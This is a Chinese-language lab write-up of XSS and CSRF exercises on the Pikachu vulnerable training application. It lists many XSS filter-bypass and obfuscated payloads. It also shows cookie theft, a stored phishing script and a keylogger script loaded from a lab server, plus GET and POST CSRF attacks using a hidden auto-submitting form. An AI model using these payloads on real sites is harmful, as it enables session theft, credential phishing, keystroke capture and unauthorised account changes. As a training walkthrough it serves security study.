pikachu的xss及csrf
一、XSS
XSS漏洞探测:
XSS探针
我们可以在可插入到源代码中的位置输入'';!‐‐"<XSS>=&{()}测试哪些代码被转义或者过滤XSS检测常用语句
<script>alert(/xss/);</script><script>alert(/xss/)//<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 用分号,也可以分号+空格(回车一起使用)<img src=1 onmouseover=alert(1)><a herf=1 onload=alert(1)>nmask</a>Javascript:alert(document.cookie)<script>window.a==1?1:prompt(a=1)</script><script>a=prompt;a(1)</script><img src=0 onerror=confirm('1')>XSS Filter 绕过:
script被过滤
改变大小写 <SCRIPT>alert("xss")</SCRIPT>嵌套<script> <scr<script>ipt>alert("xss") </script><img src="" onerror="alert('xss')"> 或者<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")) .src="xss平台提供的js语句"><iframe>代替<script> <iframe src=javascript:alert('xss');height=0 weight=0 /></iframe><iframe width="0px" height="0px" src="data:text/html;base64,将XSS平台提供的js编码成base64格式(注意:包括了script标签)"></iframe> 例如将<script src=http://123123123.com></script> 编码得到下列语句<iframe width="0px" height="0px" src="data:text/html;base64,asd4s2f/asf+a123=="></iframe>alert被过滤
<img>标签代替alert被编码内容:alert('xss') 编码方式:JS+base16编码<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")> </img>利用函数加密
JS+base16加密格式:<script>eval("js+16进制加密")</script>编码格式:js+16进制加密 被编码内容:alert('js+base16') 编码后内容: \x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x2b\x62\x61\x73\x65\x31\x36\x27\x29实际语句:<script>eval(“alert('js+base16')”)</script>插入语句:<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x2b\x62\x61\x73 \x65\x31\x36\x27\x29")</script>unicode加密格式:<script>eval("unicode加密")</script>编码格式:unicode加密被编码内容:alert('unicode') 编码后内容:\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u006e\u0069\u0063 \u006f\u0064\u0065\u0027\u0029实际语句:<script>eval(“alert('unicode')”)</script>插入语句:<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u00 6e\u0069\u0063\u006f\u0064\u0065\u0027\u0029")</script>String.fromCharCod加密格式:<script>eval(String.fromCharCode(编码))</script>函数:String.fromCharCode编码格式:String.fromCharCode被编码内容: alert('String.fromCharCode')编码后内容: String.fromCharCode(97,108,101,114,116,40,39,83,116,114,105,110,103,46 ,102,114,111,109,67,104,97,114,67,111,100,101,39,41)实际语句:<script>eval(“String.fromCharCode”)</script>插入语句: <script>eval(String.fromCharCode(97,108,101,114,116,40,39,83,116,114,1 05,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,39,41)) </script>data协议 作用:隐藏标签、保护标签!!!格式:<object data="data:text/html;base64,我们的完整语句"> </object>被编码内容:<script>alert('data protocol')</script>被编码内容:<script>alert('data protocol')</script>实际作用语句:<script>alert('data protocol')</script>插入语句:<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC 9zY3JpcHQ+"></object>对属性内容的编码绕过:对于过滤不太严格的这类富文本编辑器,我们大概的思路就是:01.找出可利用的标签,通常有一些不引起注意的embed、object等,还有嵌入式的标记 语言svg、math等,而且img、a等一般也是不会过滤的。02.找出可利用属性。onmouse系列、onerror、style等。03.找出一个没被过滤的标签+属性组合(好是容易触发的),利用编码等方式绕过一 些其他过滤,终得到POC。如下列出一些可用的关键字,可以借助黑盒的方式测试一遍,看看哪些过滤了哪些没过 滤,类似于fuzz。img onAbort onActivate onAfterPrint onAfterUpdate onBeforeActivate onBeforeCopy onBeforeCut onBeforeDeactivate onBeforeEditFocus onBeforePaste onBeforePrint onBeforeUnload onBeforeUpdate onBegin onBlur onBounce onCellChange onChange onClick onContextMenu onControlSelect onCopy onCut onDataAvailable onDataSetChanged onDataSetComplete onDblClick onDeactivate onDrag onDragEnd onDragLeave onDragEnter onDragOver onDragDrop onDragStart onDrop onEnd onError onErrorUpdate onFilterChange onFinish onFocus onFocusIn onFocusOut onHashChange onHelp onInput onKeyDown onKeyPress onKeyUp onLayoutComplete onLoad onLoseCapture onMediaComplete onMediaError onMessage onMouseDown onMouseEnter onMouseLeave onMouseMove onMouseOut onMouseOver onMouseUp onMouseWheel onMove onMoveEnd onMoveStart onOffline onOnline onOutOfSync onPaste onPause onPopState onProgress onPropertyChange onReadyStateChange onRedo onRepeat onReset onResize onResizeEnd onResizeStart onResume onReverse onRowsEnter onRowExit onRowDelete onRowInserted onScroll onSeek onSelect onSelectionChangeonSelectStart onStart onStop onStorage onSyncRestored onSubmit onTimeError onTrackChange onUndo onUnload onURLFli formaction action href xlink:href autofocus src content data from values to style利用伪协议: 伪协议,类似<a href=javascript:xxxx>呵呵</a>,href后面是可以跟着伪协议的,比如javascript协议。 在这里就可以借助它来完成通用型xss。
1.反射性XSS(GET)

2.反射性XSS(POST)+获取Cookie
修改完成后,在登录用户的情况下访问此链接 http://192.168.1.1/pikachu/pkxss/xcookie/post.html
然后查看xss后台发现,cookie已经发送到xss后台


(2)存储型钓鱼
上图就是pikachu平台的钓鱼文件
所以我们构造payload指定到此文件上 payload为 <script src="http://192.168.1.1/pikachu/pkxss/xfish/fish.php"></srcipt>
输入payload提交之后,效果如下

输入用户名和密码 分别为 S4tan 123123
进入xss后台查看,发现收到钓鱼结果

(3)存储型键盘记录
同上,这里我们的pikachu平台有一个构造好的js文件和php文件,引用此script脚本会记录键盘记录,但是有一个要注意的是,因为有同源策略的存在,正常情况下的调用js脚本不会正常执行,只有当设置以下策略才会正常执行。
//设置允许被跨域访问 header("Access-Control-Allow-Origin:*");
其js和php的主要代码如下


我们构造引用js文件的payload <script src="http://192.168.1.1/pikachu/pkxss/rkeypress/rk.js"></srcipt>
提交执行,看起来并没有什么变化,但是查看源代码发现,xss插入成功

查看F12的Networking发现js已经被引用。

我们在输入框中输入文章试一试。

再查看xss后台,发现输入记录已被存入数据库。




二、CSRF
1.CSRF(GET)
首先登陆一个账户,获取cookie以及信息。

点击修改个人信息

利用审查元素,查看submit类型

发现是get传参类型的表单,先提交一次测试一下。

找到传参的参数以及路径。可以确定为CSRF类型,利用刚才的networking情况构造payload。
将kobe的性别改为girl 电话改为 123456789地址改为PPSUC 邮箱改为PPSUC@edu.cn 则完整的url为 http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=PPSUC&email=PPSUC%40edu.n&submit=submit
我们以当前用户点击此链接。如图

发现个人信息已被修改

则CSRF(GET)payload成功。
2.CSRF(POST)
同上,这次我们登录allen的账号获取其cookie和个人信息。

点击修改个人信息

查看审查元素,发现此次提交表单为post类型提交数据

所以这次我们需要构造一个链接,此链接为我们自己服务器文件,功能为一被访问就自动post数据到修改个人资料的PHP文件上。
所以我们构造html为
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="123456789" /> <input id="add" type="text" name="add" value="PPSUC" /> <input id="email" type="text" name="email" value="PPSUC@edu.cn" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
此html在刚加载时就会触发id为postsubmit的对象,导致构造的form表单的数据被提交,而我们构造表单的vaule为我们想要的数据,这样就可以导致csrf产生。
测试:
我们在allen账号的状态下,点击我们html的url http://192.168.1.1/pikachu/vul/csrf/csrfpost/post.html
结果如下。先跳转到此页面

然后再跳转回个人信息页面

此时发现个人信息已被修改,然而有个很严重的问题,这个目标太显眼,我们要想办法把post.html的内容尽量减少。
例如:
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="hidden" name="sex" value="girl" /> <input id="phonenum" type="hidden" name="phonenum" value="987654321" /> <input id="add" type="hidden" name="add" value="PPSUC" /> <input id="email" type="hidden" name="email" value="PPSUC@edu.cn" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
这样的画访问post.html如下图

应该还有其他方法减小目标,可以继续研究。
3.CSRF TOKEN
暂时没有很有效的办法去绕过token


浙公网安备 33010602011771号